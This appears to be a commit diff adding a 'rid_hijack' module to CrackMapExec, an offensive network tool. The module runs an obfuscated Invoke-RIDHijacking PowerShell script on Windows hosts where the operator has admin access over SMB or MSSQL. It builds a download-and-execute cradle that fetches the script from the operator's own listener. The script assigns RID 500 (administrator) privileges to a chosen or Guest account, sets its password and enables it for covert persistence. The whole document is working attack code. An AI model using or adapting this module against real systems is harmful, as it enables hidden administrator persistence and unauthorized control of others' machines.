|
| 1 | +from cme.helpers.powershell import * |
| 2 | +from cme.helpers.logger import write_log, highlight |
| 3 | +from datetime import datetime |
| 4 | +from StringIO import StringIO |
| 5 | +import re |
| 6 | + |
| 7 | +class CMEModule: |
| 8 | + ''' |
| 9 | + Executes Invoke-RIDhijacking.ps1 allowing to set desired privileges to an existent local account by modifying the Relative Identifier value copy used to create the access token |
| 10 | + Module by Sebastian Castro @r4wd3r |
| 11 | + ''' |
| 12 | + |
| 13 | + name = 'rid_hijack' |
| 14 | + description = "Executes the RID hijacking persistence hook." |
| 15 | + supported_protocols = ['smb', 'mssql'] |
| 16 | + opsec_safe = True |
| 17 | + multiple_hosts = True |
| 18 | + |
| 19 | + def options(self, context, module_options): |
| 20 | + ''' |
| 21 | + RID RID to set to the specified account. Default 500. |
| 22 | + USER User to set the defined RID. |
| 23 | + USEGUEST Boolean. Set the defined RID to the Guest account. |
| 24 | + PASSWORD Password to set to the defined account. |
| 25 | + ENABLE Boolean. Enable the defined account. |
| 26 | + ''' |
| 27 | + |
| 28 | + self.rid = 500 |
| 29 | + self.user = None |
| 30 | + self.password = None |
| 31 | + self.useguest = False |
| 32 | + self.enable = False |
| 33 | + |
| 34 | + if 'RID' in module_options: |
| 35 | + self.rid = int(module_options['RID']) |
| 36 | + if 'USER' in module_options: |
| 37 | + self.user = str(module_options['USER']) |
| 38 | + if 'PASSWORD' in module_options: |
| 39 | + self.password = str(module_options['PASSWORD']) |
| 40 | + if 'USEGUEST' in module_options: |
| 41 | + self.useguest = True |
| 42 | + if 'ENABLE' in module_options: |
| 43 | + self.enable = True |
| 44 | + |
| 45 | + self.ps_script1 = obfs_ps_script('RID-Hijacking/Invoke-RIDHijacking.ps1') |
| 46 | + |
| 47 | + def on_admin_login(self, context, connection): |
| 48 | + command = 'Invoke-RIDHijacking' |
| 49 | + command += ' -RID ' + str(self.rid) |
| 50 | + if self.user: |
| 51 | + command += ' -User ' + self.user |
| 52 | + if self.password: |
| 53 | + command += ' -Password ' + self.password |
| 54 | + if self.useguest: |
| 55 | + command += ' -UseGuest ' |
| 56 | + if self.enable: |
| 57 | + command += ' -Enable ' |
| 58 | + |
| 59 | + launcher = gen_ps_iex_cradle(context, 'Invoke-RIDHijacking.ps1', command) |
| 60 | + connection.ps_execute(launcher) |
| 61 | + context.log.success('Executed launcher') |
| 62 | + |
| 63 | + def on_request(self, context, request): |
| 64 | + if 'Invoke-RIDHijacking.ps1' == request.path[1:]: |
| 65 | + request.send_response(200) |
| 66 | + request.end_headers() |
| 67 | + |
| 68 | + request.wfile.write(self.ps_script1) |
| 69 | + |
| 70 | + else: |
| 71 | + request.send_response(404) |
| 72 | + request.end_headers() |
| 73 | + |
| 74 | + def on_response(self, context, response): |
| 75 | + response.send_response(200) |
| 76 | + response.end_headers() |
| 77 | + length = int(response.headers.getheader('content-length')) |
| 78 | + data = response.rfile.read(length) |
| 79 | + |
| 80 | + response.stop_tracking_host() |
| 81 | + |
| 82 | + if len(data): |
| 83 | + context.log.success('Invoke-RIDHijacking executed successfully') |
| 84 | + buf = StringIO(data.strip()).readlines() |
| 85 | + |
| 86 | + for line in buf: |
| 87 | + output = filter(None, re.split(r'(?:\s*\[.\]\s)', line.strip())) |
| 88 | + for o in output: |
| 89 | + context.log.highlight(o) |
0 commit comments